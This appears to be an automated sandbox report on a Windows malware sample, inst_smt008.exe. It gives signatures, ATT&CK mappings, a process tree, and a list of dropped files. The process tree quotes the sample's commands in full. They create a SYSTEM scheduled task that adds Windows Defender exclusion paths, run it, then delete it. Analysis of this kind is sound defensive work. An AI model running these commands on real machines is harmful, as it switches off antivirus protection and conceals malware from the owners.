Analysis
- max time kernel
147s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
05/08/2026, 01:43
General
- Target inst_smt008.exe
- Size 55.2MB
- Sample260805-b5jymstsav
- SHA256 64f9502f1641547f11dbc44ca902e2262ca926db43c9d588279ae0174d4d0c62
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Indicator Removal: Clear Persistence 1 TTPs 3 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
- Drops file in System32 directory 1 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 56 IoCs
- Suspicious behavior: LoadsDriver 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"C:\Users\Admin\AppData\Local\Temp\inst_smt008.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Public\pKHd2M\2andVb.exeC:\Users\Public\pKHd2M\2andVb.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pKHd2M\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pKHd2M\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\pKHd2M" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
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C:\Users\Public\pKHd2M\2andVb.exe"C:\Users\Public\pKHd2M\2andVb.exe"1⤵
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C:\Windows\system32\cmd.execmd.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
2andVb.exe
UxEnhance64.dll
UxEnhance64.dll
adoresd.dat
msadox.tb
memory/988-584-0x00000215E13A0000-0x00000215E1C31000-memory.dmp
memory/988-581-0x00007FFE4D150000-0x00007FFE4D66E000-memory.dmp
memory/3812-543-0x0000023ADAD90000-0x0000023ADB621000-memory.dmp
memory/3812-538-0x00007FFE69660000-0x00007FFE69662000-memory.dmp
memory/3812-531-0x00007FFE4D150000-0x00007FFE4D66E000-memory.dmp
memory/3812-565-0x0000023ADAD90000-0x0000023ADB621000-memory.dmp
memory/3812-559-0x0000023ADBA00000-0x0000023ADBA8A000-memory.dmp
memory/3812-536-0x0000023ADAD90000-0x0000023ADB621000-memory.dmp
memory/3812-539-0x0000023ADAD90000-0x0000023ADB621000-memory.dmp
memory/3812-564-0x0000023ADAD90000-0x0000023ADB621000-memory.dmp
memory/3812-545-0x0000023ADAD90000-0x0000023ADB621000-memory.dmp
memory/3812-546-0x0000023ADAD90000-0x0000023ADB621000-memory.dmp
memory/3812-544-0x0000023ADAD90000-0x0000023ADB621000-memory.dmp
memory/3812-530-0x00007FFE69650000-0x00007FFE69652000-memory.dmp
memory/3812-550-0x0000023ADAD90000-0x0000023ADB621000-memory.dmp
memory/3812-557-0x0000023ADBA00000-0x0000023ADBA8A000-memory.dmp
memory/3812-558-0x0000023ADBA00000-0x0000023ADBA8A000-memory.dmp
memory/3812-556-0x0000023ADBA00000-0x0000023ADBA8A000-memory.dmp
memory/3812-555-0x0000023AD8BD0000-0x0000023AD8C1E000-memory.dmp
memory/4964-0-0x00000000001E0000-0x00000000001ED000-memory.dmp
memory/4964-525-0x00007FFE59F30000-0x00007FFE59F40000-memory.dmp
memory/4964-524-0x00000000001E0000-0x00000000001ED000-memory.dmp
memory/4964-504-0x00007FFE59F30000-0x00007FFE59F40000-memory.dmp
memory/4964-2-0x00000000001F0000-0x00000000001FB000-memory.dmp
memory/4964-1-0x00000000001E0000-0x00000000001ED000-memory.dmp